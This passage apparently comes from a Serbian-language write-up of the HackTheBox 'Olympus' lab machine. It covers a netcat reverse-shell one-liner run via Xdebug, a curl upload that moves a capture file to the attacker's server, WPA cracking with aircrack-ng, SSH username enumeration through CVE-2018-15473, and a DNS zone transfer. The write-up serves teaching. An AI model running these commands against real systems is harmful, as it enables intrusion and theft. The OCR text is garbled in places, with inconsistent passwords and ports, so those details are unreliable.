listening on tun®, link-type RAW (Raw IP), capture™size 262144 bytes

17:31:09.573450 IP 10.10.10.83 > htb: ICMP echo request, id 24, seq 0, length 64
17:31:09.573486 IP htb > 10.10.10.83: ICMP echo reply, id 24, seq 0, length 64

Slika 13: Dobijen zahtev poslat preko izmenjene skripte uz pomoc Xdebug Chrome aplikacije

3.3 Reverse Shell

Shellcode predstavlja mali deo koda koji se koristi kao payload pri eksploataciji
ranjivosti softvera. Svoje ime je dobilo upravo zbog toga Sto pri izvrSavanju pokre¢ecommand
shell iz kog napada¢ moze dalje ekSploatisati napadnutu masinu.
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Shellcode se moze podeliti na lokalni ili udaljeni u zavisnosti od toga koju vrstu
pristupa je dobio napadac.

Lokalni Shellcode se koristi kada napada¢ ima ograni¢en pristup masini koju napada
ali na kojoj je moguce izvrsiti eksploataciju odredene bezbednosne slabosti. Najbolji primer
lokalne upotrebe shellcode-a je bufferoverflow eksploatacija koja se moze izvrsiti uz
posedovanje dovoljno visoke privilegije na napadnutoj masini.

Udaljeni shellcode ili remoteshellcodese koristi kada napada¢ cilja slabosti procesa
koji se pokrecu na drugoj masini bilo to na lokalnoj mrezi, intranetu ili udaljenoj mrezi.
Ukoliko se remote shell uspesno izvr$i na napadnutoj masini, dozvoli¢e napadacu pristup na
bilo kojoj mrezi. Remote shell obi¢no koristi TCP/IP socket konekcije koje omogucavaju
napadacu da pristupi shell-u ciljane masine. U zavisnosti od toga ko uspostavlja konekciju,
remoteshell se moze podeliti na reverse shell i na bindshell.

U koliko je shellcode uspostavio konekciju znac¢i da je sproveden reverse shell,
poznatim i pod nazivom connect-backshellcode upravo zbog toga Sto se taj shellcode
konektuje nazad na masinu napadaca.

Sa druge strane, u koliko je napada¢ uspostavio konekciju, shellcode se naziva
bindshell. Bindshell naziv je takode deskriptivan, i ukazuje na samu prirodu konekcije, $to
znaCi da pri uspostavljanju ovog shellcode-a,on vezuje (Binds) odredeni port napadnute
masine.

Kako bi se napad ReverseShell obavio na Olympus kutiji, potrebno je vratiti se u
Xdebug sesiju i uneti komandu netcat-a: “system("rm /tmp/f;mkfifo /tmp/f,cat /tmp/f|/bin/sh -i
2>&1|nc 10.10.10.10 9001>/tmp/f "), Cija je upotreba prikazana na slici 14.

index.php (file:///var/www/html) o0

Slika 14: netcat reverse shell

Nakon ukucane komande u Xdebug programu, potrebno je proveriti konekciju u
terminalu pomocu slede¢e komande. Netcat je pomoc¢ni program za racunarske mreze, sa
mogucnostima Citanja sa 1 pisanja u mrezne konekcije preko TCP ili UDP protokola. U
Xdebug-u je naglaseno da ¢e reverse shell komanda biti osluskivana na portu 9001, i
uspostava te konekcije je dokazana u terminalu sa komandom datom na slici 15. Sa ovim
korakom imamo pristup kutiji.
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~/htb/boxes/olympus# nc -lvnp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:96001
Ncat: Connection from 10.10.10.83.

Ncat: Connection from 10.10.10.83:32966.
/bin/sh: @: can't access tty; job control turned off
$

Slika 15: Uspostavljena konekcija na portu 9001

Po uspesnom uspostavljanju reverse shell-a, slede¢i korak bi bio ispitivanje sadrzaja
kutije. Par primera izlistavanja sadrzaja i pretraga potencijalno korisnih dokumenata je
prikazana na slici 16.

Prvo se moze uoditi da se pri kucanju komande hostname ne dobijaju bitni podaci,
kao ni da se izlistavanjem sadrZaja u toj datoteci ne moze nacéi bilo §ta vredno paznje. U root
folderu se pre svega moze uociti da se koristi docker okruzenje, zatim ifconfig komandom
dobijamo podatke o adresi. Pretragom datoteke home vidimo da sadrzi samo datoteku zeus u
kojoj se dalje nalazi airgeddon datoteka, koja ve¢ sadrzi par dobrih fajlova koji se mogu
izvrSavati.

Izlistavanjem sadrzaja airgeddon.sh nije ukazalo da postoje bitne informacije za dalju
eksploataciju web servera, s toga se dalje prelazi na pregledanje datoteke captured. U njoj se
nalaze papyrus.txt, kao i captured.cap dokumenti. Kucanjem komande ,.file captured.cap*,
dobijamo ispisanu poruku: ,,captured.cap: tcpdump capture file(little-endian) — version 2.4
(802.11, capture length 65535) “. Primecujemo da je u pitanju tcpdump.
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feeba96171cs5

% 1s -l1la

total 124

A r-xr-x wwwi-data wen-data .

drwxr-xr-x root root i

-MW-Fr--r-- root root crete.css

SrwW-r=--r-- root root favicon.ico

S FW-F--F-- root root index.php
root root Zeus. jpg

root root 4096 Apr
root root 4896 Apr
root root & Apr
root root 4096 Apr
root root 4896 Jul
root root 340 Sep
root root 4096 Apr
root root 4096 Apr
root root 4096 Apr
root root 4096 O0ct
root root 4896 Oct
root root 4096 0ct
root root 4896 0ct
root root B Sep
root root 4096 Apr
root root 4896 Dec
root root 4096 Apr
root root 4096 O0ct
root root B Sep SYS
root root 4096 Sep : tmp
root root 4096 0ct usr
root root 4896 Dec var

bin
boot
dewv
etc
home
lib
libb4
media
mnt
opt
proc
root
run
sbin
s5rv

el

el
ORMWH WD DY DHo WMo e

S

encap:Ethernet HwWaddr 02:42:ac:14:80:82

addr il il Bcast:172.20.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTECAST MTU:1508 Metric:l
R¥ packets:682 errors:@ dropped:8 overruns:® frame:0
TX packets:716 errors:@ dropped:0 overruns:@ carrier:0
collisions: 0 txqueuelen:0
R¥ bytes:53824 (52.5 KiB) TX bytes:582931 (569.2 KiB)

Link encap:Local Loopback

imet addr:127.0.8.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

R¥X packets:® errors:0 dropped:0 overruns:@ frame:@
T¥ packets:0 errors:0 dropped:® overruns:0 carrier:0
collisions:@® txqueuelen:1

RX bytes:0 (0.0 B) TX bytes:@ (0.@ B)

% cd home

5 1s

reus

&« cd zeus

5 1s

airgeddan

£ cd airgeddon

5 1s

CIHANGLCLOG . md

CODE OF CONDUCT. md
CONTRIBUTING . md
Dockerfile

LICENSE .md
README . md
airgeddon.sh
binmaries

capturecd

imgs

known_pins.db
lLanguage strongs.sh
pindb checksum.txt

Slika 16: Izlistavanje sadrzaja Olzmpus kutije
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3.4 Podesavanje Ngnix servera za transver fajlova i analiza transferovanog
fajla sa alatom Wireshark

Nginx predstavlja besplatan, open-source http server, ali se takode moze koristiti i kao
reverse proxy server, IMAP/POP3 proxy server, ali kao i load balancer. Primena Nginx
servera je prvenstveno u transfersu fajlova preko http servera. Nginx server se podesava da
prihvata fajlove koji su upload-ovani preko HTTP-a. Prikaz podesavanja Nginx je prikazan na
slici 17. Server je podeSen tako da osluSkuje konekcije na portu 8001, sa imenom servera
ippsec.rocks, i lokacijom u kojoj ¢e osluskivani sajdrzaj biti saCuvan.

r

root@htb: ~/htb/boxes/olympus

File Edit View Search Terminal Help
server {
listen 8001 default server;
server_name ippsec.rocks;
location / {
root /var/www/upload;
dav_methods PUT;

Slika 17: Podesavanje Nginx servera

Sa podesenim Nginx serverom za transfer fajlova preko http-a, mozemo izvrsiti
komandu prikazanu na slici 18. Komandom curl mozemo preuzimati fajlove i datoteke preko
razli¢itih vrsta protokola, §to je u ovom sluc¢aju preko HTTP-a. Nakon izvrSene komande curl,
fajlovi sa strane napadnutog servera ¢e biti dostupni na nasoj lokalnoj masini preko porta
8001, 1 to na lokaciji naznacenoj u podeSavanjima Nginx servera.

Captured while flying. I'll banish him to Olympia - Zeus
$ file captured.cap
captured.cap: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)

$ curl --upload-file captured.cap 10.10.14.15:8001
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

0 0 100 290k 0 1956k --:--:-- - --1--1-- 1965k

Slika 18: Koris¢enje curl komdande za transfer fajlova preko porta 8001

Nakon izvrSenog transfera captured.cap fajla, mozemo ga analizirati pomocu poznatog
alata Wireshark, zbog same Cinjenice da se radi o tcpdump fajlu.
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Wireshark je takode besplatan i open-source program za proucavanje paketa, koji je i
podrazumevani alat u Kali Linux opertivnom sistemu mada je kompatibilan i sa mnogim
drugim platformama. Najc¢es¢e primene WireSark alata se mogu svrstati u kori§¢enje alata za
reSavanje problema na mrezi, analizi paketa i snimanju mreznog saobracaja.

Analiziranjem informacija dobijenih iz prebacenog fajla captured.cap sa Olympus
servera, moze se doc¢i do sledecih zakljucaka.

e Postoji tag RSN - robust secure network

RSN je protokol koji omoguéava uspostavljanje bezbedne komunikacije preko 802.11
wireless mreze.

e Koristi se AES (CCM mode) enkripcija

CCM (Cipher block chaining message authentication code) mode je algoritam za
autentifikovanu enkripciju koji je napravljen da obezbedi i autentifikaciju i poverljivost tokom
transfera podataka.

AES (Advanced Encryption Standard), poznatiji i kao Rijndael, predstavlja standard
za enkripciju elektronskih podataka. AES algoritam koristi simetri¢ne klju€eve, Sto znaci da
se jedan generisani klju¢ koristi i za enkripciju i za dekripciju podataka.

e Iz navedenih informacija, odnosno grupi Sifrtata koji su kori$¢eni, dolazi se do
zakljucka da se radi o WPA

WPA (Wi-Fi Protected Access) je algoritam za bezbednu komunikaciju preko IEEE
802.11 wireless mreze. Ova mreza je jako ranjiva na napade prisluskivanja zato $to koristi
radio signale za prenoSenje podataka.

Sledeci korak u napadu na Olympus kutiju jeste hakovanje WPA kljuca.

captredicap NN
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A nm ® b RE Qe Jes—_ = qqaqf

A [Apply a display filt tri-/> 1 -| Expression..  +

No. Time Source

Destination Protocol Length Info

10.000080 Tp-LinkT_ab:a8:a9 Broadcast 269 Beacon frame, SN=1331, FN=, Flags=........
2 9.165376 HewlettP_90:fb:19 IPvamcast_7f:ff:fa 882.11 213 Data, SN=84, FN=0, Flags=.p.
3 0.444455 Tp-LinkT ab:aB:a9  Broadcast 802.11 26 Deauthentication, SN=0, FN=8,
40.446503 Tp-LinkT ab:aB:a9  Broadcast 802.11 26 Deauthentication, SN=1, FN=8,
5 0.446503 Tp-LinkT ab:a8:ad  Broadcast 802.11 26 Deauthentication, SN=9, FN=8,
6 ©.449063 Tp-LinkT_ab:a8:a9 Broadcast 862.11 26 Deauthentication, SN=1, FN=@,
7 0.449063 Tp-LinkT_ab:a8:a9  Broadcast 802.11 26 Deauthentication, SN=2, FN=8,
8 6.450599 Tp-LinkT_ab:a8:a9 Broadcast 802.11 26 Deauthentication, SN=2, FN=8,
9 9.451623 Tp-LinkT_ ab:a8:a9 Broadcast 862.11 26 Deauthentication, SN=3, FN=0,
16 ©.454695 Tp-LinkT_ab:a8:a9 Broadcast 802.11 26 Deauthentication, SN=4, FN=8,
11 ©.454695 Tp-LinkT ab:a8:a9  Broadcast 802,11 26 Deauthentication, SN=3, FN=0,
12 ©.455719 Tp-LinkT_ab:a8:a9  Broadcast 802.11 26 Deauthentication, SN=4, FN=8,
13 ©.456743 Tp-LinkT ab:aB:a9  Broadcast 802.11 26 Deauthentication, SN=5, FN=8,

» Tag: ERP Information
~ Tag: RSN Information
Tag Mumber: RSN Information (48) k
Tag length: 26
RSN Version: 1
Group Cipher Suite: @8:0f:ac (IEEE 802.11) AES (CCM)
Pairwise Cipher Suite Count: 1
» Pairwise Cipher Suite List @@:8f:ac (IEEE 802.11) AES (CCM)
Auth Key Management (AKM) Suite Count: 1
» Auth Key Management (AKM) List 80:0f:ac (IEEE 882.11) PSK
» RSN Capabilities: @x@e0e
+ Tag: Extended Supported Rates 24, 36, 48, 54, [Mbit/sec]
» Tag: Vendor Specific: Microsoft Corp.: WMM/WME: Parameter Element
» Tag: Vendor Specific: Epigram, Inc.: HT Capabilities (82.11n D1.18)
» Tag: HT Capabilities (862.1in D1.10)
64 00 31 04 80 14 54 67 6f 5f 63 6c 30 73 65 57 d-1---To o_clese
74 6f 5f 74 68 33 5f 53 75 6e 01 08 62 84 8b 96 to th3 S un....
@c 12 18 24 03 01 08 85 04 60 01 00 @0 2a 01 00 - -- St
0058 30 14 @1 @8 01 60 00 Of ac 84 81 69
60 Of ac 02 0@ 80 32 B4 30 48 60 GC dd 18 00 50
f2 62 81 01 85 80 03 ad 00 00 27 a4 @ 0O 42 43
5e 09 62 32 2f 80 dd 1e 0O 90 4c 33 4e 11 1b Ff

O 7 Contains the cipher suite selector used by the BSS to protect broadcast/multicast traffic (wlan.rsn.gcs), 4 bytes

60 00 06 @0 6O 8O 0B BO
60 00 09 @0 8O 80 2d la
60 00 06 60 B OO 0B BB
60 00 dd 1a 80 90 4c 34
60 00 00 0 86 80 0O 8O
o8 of 0a 00 8@ €0 00 80
60 00 06 00 00 €0 dd 89
7f dd @a @ 83 7f @4 e1

00 G0 08 60 @0 0O 89 6P
de 11 1b ff @0 0O 80 60
60 00 99 60 @0 0O 00 69
68 6f 0a 00 @0 0O 80 6O
00 00 60 @0 @0 00 3d 16
00 00 00 00 00 68 00 0O
00 03 7f e1 o1 ee ee ff
00 6@ 00 40 @0

Packets: 6498 - Displayed: 6498 (100.0%)

Slika 19: Analiza captured.cap pomocu alata Wireshark
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3.5 Hakovanje WPA

Wi-fi Protected Access (WPA) je bezbednosni standard koji se koristi za bezi¢ne
konekcije. WPA je napravljen kako bi se poboljsala enkripcija i unapredila autentifikacija
korisnika u odnosu na prethodni standard beZi¢ne zastite koji je bio WEP odnosno Wired
Equivalent Privacy.

Za Olympus kutiju se, zahvaljujuci prethodnim analizama, doSlo do zakljucka da
postoji WPA bezbednosni standard koji predstavlja slede¢u prepreku u pronalazenju
hostname-a i krakovanja cele kutije. Postoje razli¢iti na¢ini krakovanja ovakve vrste wireless
zastite, ali u ovom radu ¢e biti demonstriran nacin koji koristi Aircrack-ng softver.

Aircrack-ng je zapravo set alata koji se sastoji od detektora, packet sniffer-a, WEP i
WPA/WPA2-PSK krakera kao i alata za analizu 802.11 bezi¢nih LAN-ova. Ovaj alat je
pogodan 1 jednostavan za upotrebu, takode je kompatabilan i sa svim drajverima bezi¢nih
mreznih interfejsa koji podrzavaju rezim sirovog nadgledanja mreze. Packet sniffer ovog alata
moze sniff-ovati 802.11a, 802.11b 1 802.11g saobraca;.

:~/hth/boxes/olympus# aircrack-ng captured.cap
Opening captured.cap
Read 6498 packets.
# BSSID ESSID Encryption
1 F4:EC:38:AB:A8:A9 Too clOse to th3 Sun WPA (1 handshake)
Choosing first network as target.
Opening captured.cap

Please specify a dictionary (option -w).

Quitting aircrack-ng...
:~/hth/boxes/olympus# aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt

[00:00:01] 3480/7120712 keys tested (2086.98 k/s)

Time left: 56 minutes, 51 seconds

Current passphrase: loveislife

Master Key g 1D 81 7B 4B C3 E3 BO 82 09
2B 6B 75 F7 19 11 EB 0D 9F

Transient Key : CC 8C 5A 4D 59 5B 35 51 93
D4 CD C4 D1 FB FB E2 DC 2E
66 6E 37 42 11 23 29 31 75
6C BA 54 C1 4E OA D2 46 90

EAPOL HMAC : 7C CO 5A 7A DA 61 6D 1E OE

Slika 20: Upotreba Aircrack-ng alata za hakovanje WPA lozinke

Slika 20 prikazuje upotrebu alata Aircrack-ng sa upoterbom liste re¢i pod imenom
rockyou.txt, koja je ujedno i najpoznatija i potpunija lista re¢i kada su u pitanju brute force
napadi na lozinke. Nakon vremena koje je navedeno da je potrebno Aircrack-ng alatu da
razbije lozinku WPA zastite, dolazi se do trazene lozinke koja se dalje moze eksploatisati.
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€540c3dc308e96cc29b71cflcc2c9dbe: f4ec38abagag: cOeefbdffc2a: | uls) cl@%e to th3 Sun:flightoficarus

Slika 21: SSID i lozinka Olympus kutije

Na slici 21, mogu se videti rezultati koji su dobijeni hakovanjem WPA alata. SSID u
ovom slucaju je Too clOse to th3 Sun, sa lozinkom flighttoicarus.

Sada, zahvaljuju¢i dobijenim podacima, mozemo da probamo da dekriptujemo
saobracaj prethodno uhvacen preko Wireshark alata. Kako bismo iskoristili nadenu lozinku u
Wireshark alatu, potrebno je da se podesiti je. U Edit opciji izabere Protocols opcija u kojoj
se podeSava lozinka za IEEE 802.11 wpa-pwd, koja je u ovom slucaju flightoficarus.
Obavezno je i stiklirati opciju Enable decryption u datoj sekciji kako bi saobrac¢aj mogao da
se desifruje.

Nakon dekriptovanog saobracaja, uz pomo¢ odredenih filtera u Wireshark alatu,
pokusavamo da nademo bitne informacije kao $to je hostname. Uz pomo¢ filtera tcp || udp,
mogusenacirazlic¢itipaketikojibimoglidasadrzenekiodkoris¢enihhostename-ova. Medutim,
dekriptovanje paketa u ovom slucajunije bio uspesan nacin da se do trazenih informacija i
dode.

captured.cap [-NCIN -]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AR @ ODFRE QAe» s =EaaaiF
|tep 1] udp = ~| Expression. +
No. Time Source Destination Protocol Length Info
2 0.165376 192.168.1.55 239.255.255.250 SSbP 213 M-SEARCH * HTTP/1.1
1320 3.124417 192.168.1.55 239.255.255.250 SSDP 213 M-SEARCH * HTTP/1.1
2948 6.125953 192.168.1.55 239.255.255.250 SSOP 213 M-SEARCH * HTTP/1.1
4472 9.118785 192.168.1.55 239,255.255.250 SSOP 213 M-SEARCH * HTTP/1.1
6038 13.032766 0.0.0.0 255.255.255.255 DHCP 378 DHCP Discover Transaction ID ©xedef55a
6039 13.033280 0.0.0.0 255.255.255.255 DHCP 390 DHCP Request Transaction ID OxedefS55a
6098 14.542783 192.168.1.55 192.168.1.255 DB-LSP. 393 Dropbox LAN sync Discovery Protocol
6375 27.578111 0.0.0.0 255.255.255.255 DHCP 380 DHCP Discover - Transaction ID ©x19d721bl1
6377 27.579132 0.0.0.0 255.255.255.255 DHCP 378 DHCP Discover - Transaction ID 6x19d721bi
6380 27.585278 0.0.0.0 255 5.255.255 DHCP 392 DHCP Request - Transaction ID ©x19d721bl
6382 27.586300 0.0.0.0 255 5. 2! DHCP 390 DHCP Request - Transaction ID ©x19d721bl
6393 27.716391 192.168.1.50 8.8.8.8 DNS 125 Standard query ©x9896 A connectivitycheck.gstatic.com

Server host name not given
Boot file name not given
Magic cookie: DHCP
» Option: (53) DHCP Message Type (Offer)
» Option: (54) DHCP Server Identifier
» option: (51) IP Address Lease Time
» Option: (1) Subnet Mask
» option: (3) RoutBr
- Option: (6) Domain Name Server
Length: 8
Domain Name Server: 8.8.8.8
Domain Name Server: 8.8.4.4
Option End: 255
Padding:
9130 ©8 ©8 08 08 08 08 08 04 04 00 60 60 60 00 00
00 00 60 00 60 00 00 G 00 60 60 00 60 60 00 00

00 00 60 00 00 00 80 B0 60 00 00 00 00 00 00 00
00 00 60 60 00 00 00 B0 00 00 60 80 00 00 00 00
00 00 66 60 00 00 60 B0 ©0 00 00 60 00 00 00 00
00 00 60 60 00 00 60 BO ©0 00 00 60 00 00 00 00
©0 00 60 60 00 00 86 BO ©0 00 60 89 60 00 00 00
00 00 00 00 00 00 00 B ©0 00 60 80 00 00 00 00
00 00 60 00 00 00 60 B0 ©0 00 00 60 00 00 00 00
00 00 60 60 00 00 60 BO ©0 00 00 60 00 00 00 00
00 00 60 60 00 00 60 0O ©0 00 60 60 00 00 60 00
00 00 60 60 00 00 60 BO ©0 00 60 60 80 00 00 60
©0 00 60 60 60 00 B0 BO 60 00 00 80 60 00 00 00
©0 00 60 00 00 00 60 B0 ©6 00 00 80 00 00 00 00

Frame (626 bytes) | Decrypted CCMP data (584 bytes)

7 Bootp/Dhcp option type (bootp.option.type), 1 byte Packets: 6498 - Displayed: 19 (0.3%) Profile: Default

Slika 22: Prikaz dekriptovanih paketa u alatu Wireshark

3.6 SSH bruteforce username napad

SSH bruteforce username napad koristi deformisane pakete ili vremenski napad
kako bi uspeo da zabelezi listu korisnika na OpenSSH serveru. Ovaj proces je drugacijepoznat
I kao user enumeration. Ovaj napad se Sprovodi tako §to se prvo podrazumevano Salje
neispravan, odnosno oSte¢cen, SSH MSG USERAUTH REQUEST paket koriste¢i javni
klju¢ za autentifikaciju. Takode, bitno je da je server kome se Salju oSteéeni paketi
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konfigurisan tako da moZe da prima ove pakete. Sto se ti¢e vremenskog napada na OpenSSH
server, na nekim verzijama OpenSSH moZze podesiti svoje konfiguracije tako da pri slanju
takvih paketa vrati greSku ,,pristup odbijen”. Ta poruka ¢e se ponekad brze poslati nazad
nevazecem korisniku nego pravom vaze¢em korisniku, i u tom vremenskom raskoraku moze
se stvoriti prilika da se korisnici izlistaju, odnosno enumerate.

OpenSSH, poznat i pod nazivom OpenBSD Secure Shell, je komplet alata za
bezbedni mrezni saobracaj koji je zasnovan na SSH protokolu, koji obezbeduje siguran kanal
za prenos podataka na nebezbednoj mrezi u klijent-server arhitekturi.

Za Olympus kutiju pokusaj SSH brute force napadom pokuSavamo da izlistamo
validne hostname-ove koji bi se na serveru mogli Koristiti. Kroz raniju enumeraciju i
razbijanje kutije, otkili smo informaciju o tome kada je kutija napravljena kao i informaciju o
vremenskom okrviru kada je poslednji put menjano nesto u konfiguracijama servera. Ta
informacija nam je ukazala da je SSH brute force napad mogu¢, jer je u tom okvirnom
vremenu otkrivena slabost sa SSH brute force korisnickim imenima i malo nakon izbacivanja
ovog simulacionog servera CVE za ovaj napad je objavljen, tako da je do svakako sledeca
validna stvar koju treba pokusSati u potrazi za informacijama o hostname-u servera.

Za dalji rad je potrebno na¢i CVE za taj propust, koji je CVE-2018-15473, skinuti
eksploit sa github-a na kali mas$inu i uz pomo¢ komande prikazane na slici 23 sprovesti napad
brute force-a.

:~/htb/boxes/olympus/CVE-2018-15473-Exploit# python sshUsernameEnumExploit.py --port 2222 --userList exampleInput.txt 10.10.10.83

root is a valid user!
rootInvalid is not a valid user!

:~/htb/boxes/olympus/CVE-2018-15473-Exploit#

Slika 23: Prikaz komande za enumeraciju validog hostname-a preko SSH

Dalje je potrebno napravidi odgovaraju¢u listu moguéih imena servera za
eksploatisanje, jer je datoj eksperimentalnoj listi pod nazivom examplelnput navedeno samo
root i rootInvalid kao neke opste vrednosti. Posto je tema kutije gréka mitologija, mozemo
zakljuciti da je 1 hostname iz date mitologije, tako da ¢emo napraviti listu grékih mitoloskih
licnosti koje ¢e nas ekploit ispitati da li su validni ili ne. Na slici 24 prikazan je icarus kao
validni korisnik. Do tog imena se doslo tako $to smo uz pomo¢ github skirpte za eksploit SSH
korisni¢kih imena zadali svoju napravljenu listu potencijalnih imena koje se koriste na
serveru, za 10.10.10.83 adresu koja je adresa servera i za port 2222. Ovime smo i zakljuéili
da je nase pogadanje bilo tatno i sama tema kutije je jos jedna slabost koja se mogla
eksploatisati.

:~/hth/boxes/olympus/CVE-2018-15473-Exploit# python sshUsernameEnumExploit.py --port 2222 --userList greek-myth.lst 10.10.10.83
icarus is a valid user!

:~/hth/boxes/olympus [Z“[—ZUIS~15!1‘.’3»[,{})101{#l

Slika 24: Uspesno sproveden brute force napad sa nasom napravljenom skriptom

3.7 Logovanje na Olympus Kkutiju uz pomo¢ prikupljenih
informacija

Uz pomo¢ SSH brute force napada koji nam je dao informacije o hostname-u, i
zahvaljujuc¢i uspesnom WPA krakovanju iz kog smo izvulki potencijalne lozinke, moZzemo
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pokusati da ostvarimo logovanje na Olympus server. Na slici 25 moze se videti da se
logovanje vrsi preko ssh protokola na portu 2222 kao icarus korisnik za datu ip adresu
servera, koja je 10.10.10.83. Lozinke koje su nam bile u opticaju za isprobavanje su
Too clOse to th3 Sun, kao i flighttoicarus. Prvi neuspeli pokusaj je bio sa flighttoicarus
lozinkom, gde se jasno vidi poruka za odbacen pristup. Drugi pokusaj je bio sa
Too clOse to th3 Sun lozinkom gde smo uspesno uspeli da se ulogujemo na server.

:~/htb/boxes/olympus# ssh -p 2222 icarus@l6.10.10.83
icarus@l0.10.10.83's password:
Permission denied, please try again.

icarus@l0.10.10.83's password:
Last login: Sun Apr 15 16:44:40 2018 from 10.10.14.4
1carus@b20b296204a3:~%

Slika 25: Logovanje na icarus preko SSH

SSH ili drugacije poznat kao Secure Shell je kriptografski mrezni protokol koji
omogucava da se saobracaj bezbedno obavlja preko nebezbedne mreze. Obicno se koristi u
koliko korisnici treba da se uloguju preko udaljenog pristupa na odredene aplikacije ili
servere, mada se SSH protokol moze namestiti na bilo koji mrezni servis kao odredeni nivo
zastite. Dakle, SSH sprovodi mrezni saobracaj preko bezbednih kanala, na nebezbednoj
mreZi, u klijent-server arhitekturi, konektuju¢i SSH klijenta sa SSH serverom.

Nakon ostvarenog pristupa Kkutiji, radi se dodatna enumeracija. Prva informacija koja
je bitna za dalji rad jeste da se server i dalje nalazi u dockerenv, odnosno u docker okruzenju.
Na slici 26 prikazan je izlistan sadrzaj Olympusa, gde se moze uociti jedan tekstualni
dokument pod nazivom help_of the_gods.
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Eile Edit View Search Terminal Help
icarus@620b296204a3:~% 1s -la /
total 72
drwxr-xr-x
drwxr-xr-x
-rWXr-Xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x

root 4096
root 4096
root 0
root 4096
root 4096
root 340
root 4096
root 4096
root 4096
root 4096
root 4096
root 4096
root 4096
root 0
root 4096
root 4096
root 4096
root 4096
root 0
root 4096
root 4096
root 4096
~$ 1s -la ~

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

p—t
[=)]

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x
drwxrwxrwt
drwxr-xr-x root
drwxr-xr-x root
icarus@s20b296204a3:
total 32

drwxr-xr-x
drwxr-xr-x

—

1
1
1
2
P
5
1
1
1
2
p
2
P
6
1
1
1
P
3
1
1
1

icarus 4096
root 4096
icarus 160
icarus 220
icarus 3771
icarus 4096
icarus 655
root 85

icarus
root

icarus
icarus
icarus
icarus
icarus
root

1
1
1
-rw-r--r-- 1
-rw-r--r-- 1
2

1

1

-rw-r--r--
-rw-r--r--

Apr
Apr
Apr
Feb
Apr
Sep
Apr
Apr
Sep
Feb
Feb
Feb
Feb
Sep
Apr
Sep
Mar 6
Feb
Sep
Apr 3
Feb
Feb

28
28
28
28
16
15
16

28
16

28
28

Apr 15

Apr
Sep
Aug
Aug
Apr
May
Apr

16
31
31
15
16
15

root(@

13:19 .

13:19
13:19
2018
2016
20:13
13:19
11:59
2015
2018
2018
2018
2018
20:13
17:18
21:56
2018
2018
21:32
FACHEY
2018
2018

.dockerenv
bin
boot
dev
etc
home
lib
1ib64
media
mnt
opt
proc
root
run
shin
srv
Sys

usr
var

21:50 .

8 11:59 .

21:56
2015
2015

16:44
2017

21:50

.bash history
.bash_logout

.bashrc

.cache

.profile

help of the gods.txt

Slika 26: Izlistani sadrzaj icarus-a

Pregledanjem datog tekstualnog dokumenta mozemo videti ostavljene informacije o
domain name-u. Domain name je neSto do ¢ega smo pokusavali da dodemo na samom
pocetku, preko DNS Zone Tranfera, medutim nismo imali tacan domain tako da tranfer nije
bio uspesan. Pokusaji brute force napada na domain name takode nisu bili uspesni. Na slici 27
vidi se da je domain zapravo ctfolympus.htb, i sada zahvaljuju¢i ovoj informaciji moze se

obaviti DNS Zone Transfer.
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File Edit View Search Terminal Help
icarus@620b296204a3:~% cat help of the gods.txt

Athena goddess will guide you through the dark...

ay to Rhodes...
ctfolympus.htb

icarus@620b296204a3:~-%

Slika 27: Izlistavanje help_of_the_gods tekstualnog fajla

DNS zone transfer je vrsta DNS transakcija. To je jedan od dostupnih mehanizama
koji sluze administratorima da naprve replike DNS baza podataka preko skupa DNS servera.
Na slici 28 su rezultati DNS zone transfera. Zanimljva informacija moze biti izlistani
tekstualni dokument sa opisom ,,prometheus, open a temporal portal to Hades (3256 8234
62431) and St341 th3 Flre!*“. Na samom pocetku enumeracije servera, videli smo uz pomo¢
alata nmap da je ssh saobracaj bio filtriran 1 nije bio konfigurisan kao ostali, ve¢ je bio
oznacen posebnim banerom. Ovi brojevi 3256, 8234, 62431 mogu predstavljati portove a
St341 th3 Flre! moze biti Sifra.

File Edit View Search Terminal Help
:~/htb/boxes/olympus/dns# dig axfr @10.10.10.83 ctfolympus.htb

; <<>> DiG 9.11.3-1-Debian <<>> axfr @10.10.10.83 ctfolympus.htb

; (1 server found)

;; global options: +cmd 1
.htb. 86400 IN SO0A nsl.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades (3456 8234 62431) and St341 th3 Flre!"
.htb. 86400 IN A 192.168.0.120
.htb. 86400 IN NS nsl.ctfolympus.htb.
.htb. 86400 IN NS ns2.ctfolympus.htb.
.htb. 86400 IN MX 10 mail.ctfolympus.htb.

crete.ctfolympus.htb. 86400 1IN CNAME  ctfolympus.htb.

hades.ctfolympus.htb. 86400 IN CNAME  ctfolympus.htb.

mail.ctfolympus.htb. 86400 IN A 192.168.0.120

nsl.ctfolympus.htb. 86400 IN A 192.168.0.120

ns2.ctfolympus.htb. 86400 IN A 192.168.0.120

rhodes.ctfolympus.htb. 86400 IN CNAME  ctfolympus.htb.

RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes"

v.ctfolympus.htb. 86400 IN CNAME  ctfolympus.htb.

ctfolympus.htb. 86400 IN SOA nsl.ctfolympus.htb. ns2.ctfolympus.htb, 2018042301 21600 3600 604800 86400

;7 Query time: 22 msec

;3 SERVER: 10.10.10.83#53(10.10.10.83)

7+ WHEN: Sun Sep 16 18:09:48 EDT 2018

;; XFR size: 15 records (messages 1, bytes 475)

Slika 28: DNS Zone Transfer

Kako bismo proverili da li su dati brojevi zaista otvoreni i funkcionalni portovi i kako,
potreban nam je alat nmap. Takode obavljamo port knocking za port 22 ssh. Port knocking je
metod za eksterno otvaranje portova na firewall-u tako Sto se Salju generisani zahtevi za
konekciju na odredenim zatvorenim portovima. U nasem slucaju ti odredeni zatvoreni portovi
